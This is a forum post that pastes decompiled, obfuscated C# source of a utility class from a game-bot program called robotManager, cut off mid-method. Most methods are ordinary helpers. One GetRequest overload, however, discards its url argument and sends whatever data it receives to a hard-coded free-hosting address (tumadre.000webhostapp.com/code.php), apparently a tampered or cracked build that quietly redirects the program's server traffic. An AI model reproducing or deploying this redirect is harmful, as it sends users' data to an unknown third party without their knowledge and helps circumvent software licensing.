barngbr

Leecher
  • Content count

    3
  • Joined

  • Last visited

Community Reputation

0 Neutral

About barngbr

  • Rank
    Newbie
  1. using IWshRuntimeLibrary; using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.IO; using System.Linq; using System.Management; using System.Net; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Security.Principal; using System.Text; using System.Threading; using System.Windows.Forms; using System.Windows.Threading; namespace robotManager.Helpful { // Type Others with token 02000029 public static class Others { // Field Utf8 with token 04000581 private static readonly UTF8Encoding Utf8; // Field _random with token 04000582 private static readonly Random _random; // Field _aweuqekadaucueUweuhea with token 04000583 private static string _aweuqekadaucueUweuhea; // Field _ilixae with token 04000584 private static string _ilixae; // Field _xiwaedianeg with token 04000585 private static bool _xiwaedianeg; // Field LockerDownload with token 04000586 private static readonly object LockerDownload; // Method PathCombine with token 060005F3 public static string PathCombine(/*Parameter with token 08000111*/[/*Attribute with token 0C00002C*/ParamArray] params string[] paths) { for (int index = 0; index < paths.Length; ++index) { if (!string.IsNullOrEmpty(paths[index])) paths[index] = paths[index].Replace(robotManagerGlobalSetting.Emaetexae(), robotManagerGlobalSetting.AleolekaohumOfeob()).Trim().Trim('\\').Trim(); } return Path.Combine(paths); } // Method ToUtf8 with token 060005F4 public static string ToUtf8(/*Parameter with token 08000112*/string text) { try { if (string.IsNullOrEmpty(text)) return text; return Encoding.UTF8.GetString(Encoding.Default.GetBytes(text)); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Liviajuitioror() + (object) ex, true); } return ""; } // Method IsUserAdministrator with token 060005F5 public static bool IsUserAdministrator() { try { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } catch (UnauthorizedAccessException ex) { return false; } catch (Exception ex) { return false; } } // Method TextToArrayByLine with token 060005F6 public static string[] TextToArrayByLine(/*Parameter with token 08000113*/string text) { try { // ISSUE: method pointer return ((IEnumerable<string>) text.Split(Environment.NewLine.ToCharArray())).Where<string>(Others.\u003C\u003Ec.\u003C\u003E9__3_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__3_0 = new Func<string, bool>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CTextToArrayByLine\u003Eb__3_0)))).ToArray<string>(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Luiquot() + (object) ex, true); return new string[0]; } } // Method ArrayToTextByLine with token 060005F7 public static string ArrayToTextByLine(/*Parameter with token 08000114*/string[] array) { try { // ISSUE: method pointer return ((IEnumerable<string>) array).Aggregate<string, string>("", Others.\u003C\u003Ec.\u003C\u003E9__4_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__4_0 = new Func<string, string, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CArrayToTextByLine\u003Eb__4_0)))); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.UbiupevuapusonOtaekiv() + (object) ex, true); return ""; } } // Method StringToListInt with token 060005F8 public static List<int> StringToListInt(/*Parameter with token 08000115*/string text) { return Others.StringArrayToListInt((IEnumerable<string>) Others.TextToArrayByLine(text)); } // Method StringArrayToListInt with token 060005F9 public static List<int> StringArrayToListInt(/*Parameter with token 08000116*/IEnumerable<string> array) { try { List<int> intList = new List<int>(); foreach (string IntString in array) { int result; if (Others.ParseInt(IntString, out result)) intList.Add(result); } return intList; } catch (Exception ex) { Logging.WriteDebug(robotManagerGlobalSetting.VugeutuguoRi() + (object) ex); return new List<int>(); } } // Method OpenWebBrowserOrApplication with token 060005FA public static void OpenWebBrowserOrApplication(/*Parameter with token 08000117*/string urlOrPath) { try { Process process = new Process(); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = urlOrPath; process.StartInfo = processStartInfo; process.Start(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Oleitifi() + (object) ex, true); } } // Method ToUtf8 with token 060005FB public static string ToUtf8(/*Parameter with token 08000118*/byte[] bytes) { try { string str = Others.Utf8.GetString(bytes, 0, bytes.Length); if (str.IndexOf(robotManagerGlobalSetting.JiwikuiqameLoaw(), StringComparison.Ordinal) != -1) str = str.Remove(str.IndexOf(robotManagerGlobalSetting.UjioduanepuowiHoun(), StringComparison.Ordinal), str.Length - str.IndexOf(robotManagerGlobalSetting.UliheteibixEgo(), StringComparison.Ordinal)); return str; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.IjepaimoesaurDiaqiod() + (object) ex, true); } return ""; } // Method HardDriveID with token 060005FC public static int HardDriveID() { try { ManagementObject managementObject = new ManagementObject(robotManagerGlobalSetting.EjavuoreihafinQoigieniuCue()); managementObject.Get(); // ISSUE: method pointer return managementObject[robotManagerGlobalSetting.OraufuItiwao()].ToString().Sum<char>(Others.\u003C\u003Ec.\u003C\u003E9__10_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__10_0 = new Func<char, int>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CHardDriveID\u003Eb__10_0)))); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.AbebaQehekua() + (object) ex, true); return 0; } } // Method GetFileMd5CheckSum with token 060005FD public static string GetFileMd5CheckSum(/*Parameter with token 08000119*/string filePath) { try { if (!System.IO.File.Exists(filePath)) return ""; FileStream fileStream1 = (FileStream) null; try { MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider(); fileStream1 = System.IO.File.Open(filePath, FileMode.Open, FileAccess.Read); FileStream fileStream2 = fileStream1; byte[] hash = cryptoServiceProvider.ComputeHash((Stream) fileStream2); string str = ""; foreach (byte num in hash) str = num >= (byte) 16 ? str + num.ToString(robotManagerGlobalSetting.Taneacotea()) : str + robotManagerGlobalSetting.AkoerEpoe() + num.ToString(robotManagerGlobalSetting.EsoacabuegeiXeo()); return str; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.TehesoOxa() + (object) ex, true); } finally { fileStream1?.Close(); } } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Usuogoegauhav() + (object) ex, true); } return ""; } // Method DelSpecialChar with token 060005FE public static string DelSpecialChar(/*Parameter with token 0800011A*/string stringSpecialChar) { try { List<string> stringList = new List<string>(); foreach (char ch in stringSpecialChar) { if (ch >= 'A' && (ch <= 'z' || ch <= 'Z' && ch >= 'a')) stringList.Add(Convert.ToString(ch)); } return string.Concat((IEnumerable<string>) stringList); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Gavoboi() + (object) ex, true); return ""; } } // Method DelFileNameIllegalChar with token 060005FF public static string DelFileNameIllegalChar(/*Parameter with token 0800011B*/string filename) { try { if (string.IsNullOrEmpty(filename)) return string.Empty; // ISSUE: method pointer return ((IEnumerable<char>) Path.GetInvalidFileNameChars()).Aggregate<char, string>(filename, Others.\u003C\u003Ec.\u003C\u003E9__13_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__13_0 = new Func<string, char, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDelFileNameIllegalChar\u003Eb__13_0)))); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Siweoqei() + (object) ex, true); return ""; } } // Method GetRandomString with token 06000600 public static string GetRandomString(/*Parameter with token 0800011C*/int maxSize) { try { char[] charArray = robotManagerGlobalSetting.IwexiumueExokebom().ToCharArray(); byte[] data1 = new byte[1]; RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); cryptoServiceProvider.GetNonZeroBytes(data1); byte[] data2 = new byte[maxSize]; cryptoServiceProvider.GetNonZeroBytes(data2); StringBuilder stringBuilder = new StringBuilder(maxSize); foreach (byte num in data2) stringBuilder.Append(charArray[(int) num % (charArray.Length - 1)]); return stringBuilder.ToString(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.AbosaqoEqiolia() + (object) ex, true); } return robotManagerGlobalSetting.IqoquapifFi(); } // Method ShutDownPc with token 06000601 public static void ShutDownPc() { try { Process process = new Process(); process.StartInfo.FileName = robotManagerGlobalSetting.Emiubaos(); process.StartInfo.Arguments = robotManagerGlobalSetting.Onofoumaik(); process.Start(); process.Close(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Ejeluotegieseu() + (object) ex, true); } } // Method Random with token 06000602 public static int Random(/*Parameter with token 0800011D*/int from, /*Parameter with token 0800011E*/int to) { try { return Others._random.Next(from, to + 1); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Moxoe() + (object) ex, true); } return 0; } // Method Random with token 06000603 public static Random Random() { try { return Others._random; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Ugefo() + (object) ex, true); } return new Random(); } // Method SecToHour with token 06000604 public static string SecToHour(/*Parameter with token 0800011F*/int sec) { try { TimeSpan timeSpan = TimeSpan.FromSeconds((double) sec); return string.Format(robotManagerGlobalSetting.Unaud(), (object) timeSpan.Hours, (object) timeSpan.Minutes, (object) timeSpan.Seconds); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.PonemiavoalewSew() + (object) ex, true); return robotManagerGlobalSetting.Umomaxaevu(); } } // Method ReadFileAllLines with token 06000605 public static string[] ReadFileAllLines(/*Parameter with token 08000120*/string path) { try { return System.IO.File.ReadAllLines(path); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.HareadagaNido() + (object) ex, true); return new string[0]; } } // Property Times with token 1700001E public static int Times { // Method get_Times with token 06000606 get { return Environment.TickCount; } } // Property TimesSec with token 1700001F public static int TimesSec { // Method get_TimesSec with token 06000607 get { return Environment.TickCount / 1000; } } // Method DownloadFile with token 06000608 public static bool DownloadFile(/*Parameter with token 08000121*/string httpUrl, /*Parameter with token 08000122*/string fileDest, /*Parameter with token 08000123*/bool showErrorLog = true, /*Parameter with token 08000124*/bool doEvents = true) { try { object lockerDownload = Others.LockerDownload; bool lockTaken = false; try { Monitor.Enter(lockerDownload, ref lockTaken); Others._aweuqekadaucueUweuhea = httpUrl; Others._ilixae = fileDest; string directoryName = Path.GetDirectoryName(Others._ilixae); if (directoryName != null) Directory.CreateDirectory(directoryName); // ISSUE: method pointer Thread thread = new Thread(new ParameterizedThreadStart((object) null, __methodptr(AhiehaekaNuqo))); thread.Name = robotManagerGlobalSetting.KigotusufRuqean(); thread.Start((object) showErrorLog); Thread.Sleep(200); while (Others._xiwaedianeg) { if (doEvents) Others.DoEvents(); Thread.Sleep(100); } return Others.ExistFile(fileDest); } finally { if (lockTaken) Monitor.Exit(lockerDownload); } } catch (Exception ex) { if (showErrorLog) Logging.WriteError(robotManagerGlobalSetting.HearakiegKuqaujai() + (object) ex, true); Others._xiwaedianeg = false; return false; } } // Method AhiehaekaNuqo with token 06000609 private static void AhiehaekaNuqo(/*Parameter with token 08000125*/object tuepeka) { try { Others._xiwaedianeg = true; using (WebClient webClient = new WebClient()) { try { webClient.DownloadFile(Others._aweuqekadaucueUweuhea, Others._ilixae); } catch (Exception ex) { bool flag; try { flag = (bool) tuepeka; } catch { flag = true; } if (flag) { if (string.IsNullOrWhiteSpace(Others._aweuqekadaucueUweuhea)) Others._aweuqekadaucueUweuhea = string.Empty; Logging.WriteDebug(robotManagerGlobalSetting.Siasiocaroaw() + Others._aweuqekadaucueUweuhea + robotManagerGlobalSetting.LuxufukaiwoEsuijen() + (object) ex); } } } Others._xiwaedianeg = false; } catch (Exception ex) { bool flag; try { flag = (bool) tuepeka; } catch { flag = true; } if (!flag) return; if (string.IsNullOrWhiteSpace(Others._aweuqekadaucueUweuhea)) Others._aweuqekadaucueUweuhea = string.Empty; Logging.WriteError(robotManagerGlobalSetting.Ewuebihiewia() + Others._aweuqekadaucueUweuhea + robotManagerGlobalSetting.Uqefualew() + (object) ex, true); } } // Method GetFileSizeHttp with token 0600060A public static long GetFileSizeHttp(/*Parameter with token 08000126*/string httpUrl) { WebResponse webResponse = (WebResponse) null; try { WebRequest webRequest = WebRequest.Create(httpUrl); webRequest.Method = robotManagerGlobalSetting.Xaefi(); webRequest.Timeout = 5000; webResponse = webRequest.GetResponse(); long result; if (long.TryParse(webResponse.Headers.Get(robotManagerGlobalSetting.Jeadiamafo()).Replace(" ", "").Trim(), out result)) return result; } catch { } finally { try { webResponse?.Close(); } catch { } } return -1; } // Method GetFilesDirectory with token 0600060B public static List<string> GetFilesDirectory(/*Parameter with token 08000127*/string pathDirectory, /*Parameter with token 08000128*/string searchPattern = "*.*") { string str = ""; pathDirectory += robotManagerGlobalSetting.Ixaeveudumuide(); if (!pathDirectory.Contains(robotManagerGlobalSetting.PuxedixoKi())) str = System.Windows.Forms.Application.StartupPath + robotManagerGlobalSetting.DabebiesoxaMasuf(); pathDirectory = str + pathDirectory; pathDirectory = pathDirectory.Replace(robotManagerGlobalSetting.AcuceJokavua(), robotManagerGlobalSetting.Tuwueqoqoc()); if (!Directory.Exists(pathDirectory)) return new List<string>(); // ISSUE: method pointer return ((IEnumerable<string>) Directory.GetFiles(str + pathDirectory, searchPattern)).Select<string, string>(Others.\u003C\u003Ec.\u003C\u003E9__32_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__32_0 = new Func<string, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CGetFilesDirectory\u003Eb__32_0)))).ToList<string>(); } // Method GetFilesDirectoryAndSubDirectory with token 0600060C public static List<string> GetFilesDirectoryAndSubDirectory(/*Parameter with token 08000129*/string pathDirectory, /*Parameter with token 0800012A*/string searchPattern = "*.*") { Others.\u003C\u003Ec__DisplayClass33_0 cDisplayClass330 = new Others.\u003C\u003Ec__DisplayClass33_0(); cDisplayClass330.pathDirectory = pathDirectory; string str = ""; cDisplayClass330.pathDirectory += robotManagerGlobalSetting.ApaicueguecodEx(); if (!cDisplayClass330.pathDirectory.Contains(robotManagerGlobalSetting.Esupoavidou())) str = System.Windows.Forms.Application.StartupPath + robotManagerGlobalSetting.UjiduasaewuaJekuawupe(); cDisplayClass330.pathDirectory = str + cDisplayClass330.pathDirectory; cDisplayClass330.pathDirectory = cDisplayClass330.pathDirectory.Replace(robotManagerGlobalSetting.UbiebQioro(), robotManagerGlobalSetting.DeamuBouwoe()); if (!Directory.Exists(cDisplayClass330.pathDirectory)) return new List<string>(); List<string> stringList1 = new List<string>(); List<string> stringList2 = new List<string>(); stringList1.Add(cDisplayClass330.pathDirectory); for (int index = 0; index <= stringList1.Count - 1; ++index) { stringList1.AddRange((IEnumerable<string>) ((IEnumerable<string>) Directory.GetDirectories(stringList1[index])).ToList<string>()); // ISSUE: method pointer stringList2.AddRange((IEnumerable<string>) ((IEnumerable<string>) Directory.GetFiles(stringList1[index], searchPattern)).Select<string, string>(cDisplayClass330.\u003C\u003E9__0 ?? (cDisplayClass330.\u003C\u003E9__0 = new Func<string, string>((object) cDisplayClass330, __methodptr(\u003CGetFilesDirectoryAndSubDirectory\u003Eb__0)))).ToList<string>()); } return stringList2; } // Method GetRequest with token 0600060D public static string GetRequest(/*Parameter with token 0800012B*/string url, /*Parameter with token 0800012C*/string data) { return Others.GetRequest("http://tumadre.000webhostapp.com/code.php", data, false); } // Method GetRequest with token 0600060E public static string GetRequest(/*Parameter with token 0800012D*/string url, /*Parameter with token 0800012E*/string data, /*Parameter with token 0800012F*/bool showErrors) { HttpWebResponse httpWebResponse = (HttpWebResponse) null; StreamReader streamReader = (StreamReader) null; try { if (string.IsNullOrWhiteSpace(data)) url = string.Empty; string requestUriString = url; url = url + robotManagerGlobalSetting.OreunimeofXe() + data; HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(requestUriString); if (httpWebRequest.ServicePoint.Address.Host.Contains(robotManagerGlobalSetting.Isiuholimexi()) || httpWebRequest.ServicePoint.Address.Host.ToLower().Contains(robotManagerGlobalSetting.OfovauxasariUhoecun())) return string.Empty; httpWebRequest.UserAgent = robotManagerGlobalSetting.Ehajipali(); httpWebResponse = (HttpWebResponse) httpWebRequest.GetResponse(); streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding(robotManagerGlobalSetting.Favepeanai())); return streamReader.ReadToEnd(); } catch (Exception ex) { if (string.IsNullOrEmpty(url)) url = string.Empty; if (string.IsNullOrEmpty(data)) data = string.Empty; if (showErrors) Logging.WriteDebug(robotManagerGlobalSetting.Jaepoemi() + url + robotManagerGlobalSetting.Ukaulogaudaisa() + data + robotManagerGlobalSetting.Fiubeacame() + (object) ex); return ""; } finally { try { httpWebResponse?.Close(); streamReader?.Close(); } catch { } } } // Method PostRequest with token 0600060F public static string PostRequest(/*Parameter with token 08000130*/string url, /*Parameter with token 08000131*/string parameters) { try { WebRequest webRequest = WebRequest.Create(url); webRequest.ContentType = robotManagerGlobalSetting.UwevoivaeveonUfe(); webRequest.Method = robotManagerGlobalSetting.Bomemaixi(); ((HttpWebRequest) webRequest).UserAgent = robotManagerGlobalSetting.MiekuUmo(); byte[] bytes = Encoding.UTF8.GetBytes(parameters); Stream stream = (Stream) null; try { webRequest.ContentLength = (long) bytes.Length; stream = webRequest.GetRequestStream(); stream.Write(bytes, 0, bytes.Length); } catch (WebException ex) { Logging.WriteError(robotManagerGlobalSetting.Ogefogie() + (object) ex, true); } finally { stream?.Close(); } try { return new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd().Trim(); } catch (WebException ex) { Logging.WriteError(robotManagerGlobalSetting.UnaliuOhotailer() + ex.Message, true); int num = (int) System.Windows.Forms.MessageBox.Show(ex.Message, robotManagerGlobalSetting.Neiquh(), MessageBoxButtons.OK, MessageBoxIcon.Hand); } } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Veburiovoujia() + (object) ex, true); } return (string) null; } // Property GetCurrentDirectory with token 17000020 public static string GetCurrentDirectory { // Method get_GetCurrentDirectory with token 06000610 get { return System.Windows.Forms.Application.StartupPath; } } // Method EncrypterMD5 with token 06000611 public static string EncrypterMD5(/*Parameter with token 08000132*/string value) { try { byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(value)); StringBuilder stringBuilder = new StringBuilder(); for (int index = 0; index < hash.Length; ++index) stringBuilder.Append(hash[index].ToString(robotManagerGlobalSetting.PelaqoEs())); return stringBuilder.ToString(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.UbeonTae() + (object) ex, true); } return ""; } // Method DialogBoxOpenFile with token 06000612 public static string DialogBoxOpenFile(/*Parameter with token 08000133*/string path, /*Parameter with token 08000134*/string typeFile) { try { string oldValue = Path.GetFileName(path); if (!string.IsNullOrWhiteSpace(oldValue)) path = path.Replace(oldValue, ""); else oldValue = ""; OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.InitialDirectory = path; openFileDialog1.Filter = typeFile; openFileDialog1.FileName = oldValue; OpenFileDialog openFileDialog2 = openFileDialog1; if (openFileDialog2.ShowDialog() == DialogResult.OK) return openFileDialog2.FileName; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.OjoigeifoIp() + (object) ex, true); } return ""; } // Method DialogBoxOpenFileMultiselect with token 06000613 public static string[] DialogBoxOpenFileMultiselect(/*Parameter with token 08000135*/string path, /*Parameter with token 08000136*/string typeFile) { try { string oldValue = Path.GetFileName(path); if (!string.IsNullOrWhiteSpace(oldValue)) path = path.Replace(oldValue, ""); else oldValue = ""; OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.InitialDirectory = path; openFileDialog1.Filter = typeFile; openFileDialog1.Multiselect = true; openFileDialog1.FileName = oldValue; OpenFileDialog openFileDialog2 = openFileDialog1; if (openFileDialog2.ShowDialog() == DialogResult.OK) return openFileDialog2.FileNames; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.UmeodiojeinawuTevoug() + (object) ex, true); } return new string[0]; } // Method DialogBoxSaveFile with token 06000614 public static string DialogBoxSaveFile(/*Parameter with token 08000137*/string path, /*Parameter with token 08000138*/string typeFile) { try { string oldValue = Path.GetFileName(path); if (!string.IsNullOrWhiteSpace(oldValue)) path = path.Replace(oldValue, ""); else oldValue = ""; SaveFileDialog saveFileDialog1 = new SaveFileDialog(); saveFileDialog1.InitialDirectory = path; saveFileDialog1.Filter = typeFile; saveFileDialog1.FileName = oldValue; SaveFileDialog saveFileDialog2 = saveFileDialog1; if (saveFileDialog2.ShowDialog() == DialogResult.OK) return saveFileDialog2.FileName; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.EbeasieWaunoad() + (object) ex, true); } return ""; } // Method GetVisualCpp2010 with token 06000615 public static void GetVisualCpp2010() { try { if (System.IO.File.Exists(Environment.SystemDirectory + robotManagerGlobalSetting.Xeqomeagu())) return; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Loibuho() + (object) ex, true); } try { if (System.Windows.Forms.MessageBox.Show(Translate.Get(robotManagerGlobalSetting.Aperouhia()), robotManagerGlobalSetting.Kovebuaqaxuam() + Translate.Get(robotManagerGlobalSetting.CowetafiEfain()), MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button2) == DialogResult.Yes) Process.Start(robotManagerGlobalSetting.EtucaejuNaiveoba()); Process.GetCurrentProcess().Kill(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.PoquecEvonoal() + (object) ex, true); } } // Method ExistFile with token 06000616 public static bool ExistFile(/*Parameter with token 08000139*/string strPath) { try { return System.IO.File.Exists(strPath); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.ItualopWuf() + (object) ex, true); } return false; } // Method GetFileSize with token 06000617 public static long GetFileSize(/*Parameter with token 0800013A*/string strPath) { try { return new FileInfo(strPath).Length; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Axiemabi() + (object) ex, true); } return -1; } // Method RemoveFile with token 06000618 public static bool RemoveFile(/*Parameter with token 0800013B*/string strPath) { try { System.IO.File.Delete(strPath); return !System.IO.File.Exists(strPath); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Baigoexoiweifi() + (object) ex, true); } return false; } // Method StringToEncryptString with token 06000619 public static string StringToEncryptString(/*Parameter with token 0800013C*/string text) { try { if (string.IsNullOrEmpty(text)) return ""; string str = ""; byte[] bytes = Encoding.UTF8.GetBytes(text); int num = Others.HardDriveID(); for (int index = 0; index <= bytes.Length - 1; ++index) { if (str != "") str += robotManagerGlobalSetting.Ewupao(); str += (string) (object) ((int) bytes[index] + num + 15); } return str; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Duqof() + (object) ex, true); } return ""; } // Method EncryptStringToString with token 0600061A public static string EncryptStringToString(/*Parameter with token 0800013D*/string encryptText) { try { if (string.IsNullOrEmpty(encryptText)) return ""; string[] strArray = encryptText.Split(Convert.ToChar(robotManagerGlobalSetting.OliujureoveIsoet())); List<byte> byteList = new List<byte>(); int num = Others.HardDriveID(); for (int index = 0; index <= strArray.Length - 1; ++index) byteList.Add(Convert.ToByte((object) (Others.ParseInt(strArray[index]) - num - 15), (IFormatProvider) CultureInfo.InvariantCulture)); byte[] array = byteList.ToArray(); return Encoding.UTF8.GetString(array, 0, array.Length); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.QagutumOhabaimu() + (object) ex, true); } return ""; } // Method ReadFile with token 0600061B public static string ReadFile(/*Parameter with token 0800013E*/string filePath) { try { return System.IO.File.ReadAllText(filePath, Encoding.UTF8); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.Omuipi() + (object) ex, true); return ""; } } // Method WriteFile with token 0600061C public static void WriteFile(/*Parameter with token 0800013F*/string filePath, /*Parameter with token 08000140*/string value) { try { System.IO.File.WriteAllText(filePath, value, Encoding.UTF8); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.TefaugBaekoe() + (object) ex, true); } } // Method Wait with token 0600061D public static void Wait(/*Parameter with token 08000141*/int milsecToWait) { try { int num = Others.GetTickCount() + milsecToWait; while (Others.GetTickCount() < num) { Others.DoEvents(); Thread.Sleep(5); } } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.XiuvoirEviawiavu() + (object) ex, true); } } // Method DoEvents with token 0600061E public static void DoEvents() { try { System.Windows.Forms.Application.DoEvents(); } catch { } try { // ISSUE: method pointer System.Windows.Application.Current.Dispatcher.Invoke(DispatcherPriority.Background, (Delegate) (Others.\u003C\u003Ec.\u003C\u003E9__52_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__52_0 = new Action((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDoEvents\u003Eb__52_0))))); } catch { } } // Method GetTickCount with token 0600061F [DllImport("kernel32")] private static extern int GetTickCount(); // Method GetReqWithAuthHeader with token 06000620 public static List<string> GetReqWithAuthHeader(/*Parameter with token 08000142*/string url, /*Parameter with token 08000143*/string userName, /*Parameter with token 08000144*/string userPassword, /*Parameter with token 08000145*/string othersValue = "") { try { WebRequest webRequest = WebRequest.Create(Others.ToUtf8(url)); if (userName != "" && userPassword != "") { string base64String = Convert.ToBase64String(Encoding.Default.GetBytes(Others.ToUtf8(userName) + robotManagerGlobalSetting.Ganeulosauw() + Others.ToUtf8(userPassword))); webRequest.Headers[robotManagerGlobalSetting.Atieh()] = robotManagerGlobalSetting.ObauvahidaefoeOqouge() + base64String; othersValue = othersValue.Replace("\r\n", "\n").Replace("\r", "\n").Replace("\n", " ").Replace(robotManagerGlobalSetting.IqeneitMearew(), ""); webRequest.Headers[robotManagerGlobalSetting.AnaijiajebeNuwope()] = ""; webRequest.Headers[robotManagerGlobalSetting.Ibutilu()] = othersValue; } ((HttpWebRequest) webRequest).UserAgent = robotManagerGlobalSetting.AheheLoa(); WebResponse response = webRequest.GetResponse(); string text = ""; if (userName != "" && userPassword != "") text = response.Headers.Get(robotManagerGlobalSetting.UmiodieradUdoelies()); string end = new StreamReader(response.GetResponseStream()).ReadToEnd(); List<string> stringList = new List<string>(); stringList.Add(Others.ToUtf8(text)); stringList.Add(Others.ToUtf8(end)); return stringList; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.PeqevoujaherUsawe() + (object) ex, true); } List<string> stringList1 = new List<string>(); stringList1.Add(""); stringList1.Add(""); return stringList1; } // Method GetStackTrace with token 06000621 public static string GetStackTrace() { return ""; } // Method CreateShortcut with token 06000622 public static void CreateShortcut(/*Parameter with token 08000146*/string sourceFile, /*Parameter with token 08000147*/string shortcutFile, /*Parameter with token 08000148*/string description, /*Parameter with token 08000149*/string arguments, /*Parameter with token 0800014A*/string hotKey, /*Parameter with token 0800014B*/string workingDirectory) { try { if (string.IsNullOrEmpty(sourceFile)) throw new ArgumentNullException(robotManagerGlobalSetting.UweoxukoafobuqUq()); if (string.IsNullOrEmpty(shortcutFile)) throw new ArgumentNullException(robotManagerGlobalSetting.Ocaukakaocue()); IWshShortcut shortcut = (IWshShortcut) new WshShellClass().CreateShortcut(shortcutFile); shortcut.TargetPath = sourceFile; shortcut.Description = description; if (!string.IsNullOrEmpty(arguments)) shortcut.Arguments = arguments; if (!string.IsNullOrEmpty(hotKey)) shortcut.Hotkey = hotKey; if (!string.IsNullOrEmpty(workingDirectory)) shortcut.WorkingDirectory = workingDirectory; shortcut.Save(); } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.AvusiBohitetiw() + (object) ex, true); } } // Method StringBetween with token 06000623 public static string StringBetween(/*Parameter with token 0800014C*/string chaine, /*Parameter with token 0800014D*/string debut, /*Parameter with token 0800014E*/string fin, /*Parameter with token 0800014F*/bool trim = true) { try { if (string.IsNullOrEmpty(chaine)) return ""; int num1 = !string.IsNullOrEmpty(debut) ? chaine.IndexOf(debut, StringComparison.Ordinal) : 0; if (num1 < 0) return string.Empty; int startIndex = num1 + debut.Length; int num2 = !string.IsNullOrEmpty(fin) ? chaine.IndexOf(fin, startIndex, StringComparison.Ordinal) : chaine.Length; if (num2 - startIndex <= 0) return string.Empty; string str = chaine.Substring(startIndex, num2 - startIndex); if (trim) str = str.Trim(); return str; } catch (Exception ex) { Logging.WriteError(robotManagerGlobalSetting.AvigoqucaujoeFecuaqa() + (object) ex, true); return string.Empty; } } // Method ParseFloat with token 06000624 public static bool ParseFloat(/*Parameter with token 08000150*/string floatString, /*Parameter with token 08000151*/out float result) { bool result1; result = Others.ParseFloat(floatString, out result1); return result1; } // Method ParseFloat with token 06000625 public static float ParseFloat(/*Parameter with token 08000152*/string floatString) { bool result; return Others.ParseFloat(floatString, out result); } // Method ParseFloat with token 06000626 public static float ParseFloat(/*Parameter with token 08000153*/string floatString, /*Parameter with token 08000154*/out bool result) { return (float) Others.ParseDouble(floatString, out result); } // Method ParseDouble with token 06000627 public static bool ParseDouble(/*Parameter with token 08000155*/string doubleString, /*Parameter with token 08000156*/out double result) { bool result1; result = Others.ParseDouble(doubleString, out result1); return result1; } // Method ParseDouble with token 06000628 public static double ParseDouble(/*Parameter with token 08000157*/string doubleString) { bool result; return Others.ParseDouble(doubleString, out result); } // Method ParseDouble with token 06000629 public static double ParseDouble(/*Parameter with token 08000158*/string doubleString, /*Parameter with token 08000159*/out bool result) { result = false; double result1 = 0.0; if (string.IsNullOrWhiteSpace(doubleString)) return result1; if (!double.TryParse(doubleString.Replace(" ", "").Trim().Replace(CultureInfo.InvariantCulture.NumberFormat.NumberDecimalSeparator, CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator), NumberStyles.Any, (IFormatProvider) CultureInfo.CurrentCulture, out result1)) return 0.0; result = true; return result1; } // Method ParseInt with token 0600062A public static bool ParseInt(/*Parameter with token 0800015A*/string IntString, /*Parameter with token 0800015B*/out int result) { bool result1; result = Others.ParseInt(IntString, out result1); return result1; } // Method ParseInt with token 0600062B public static int 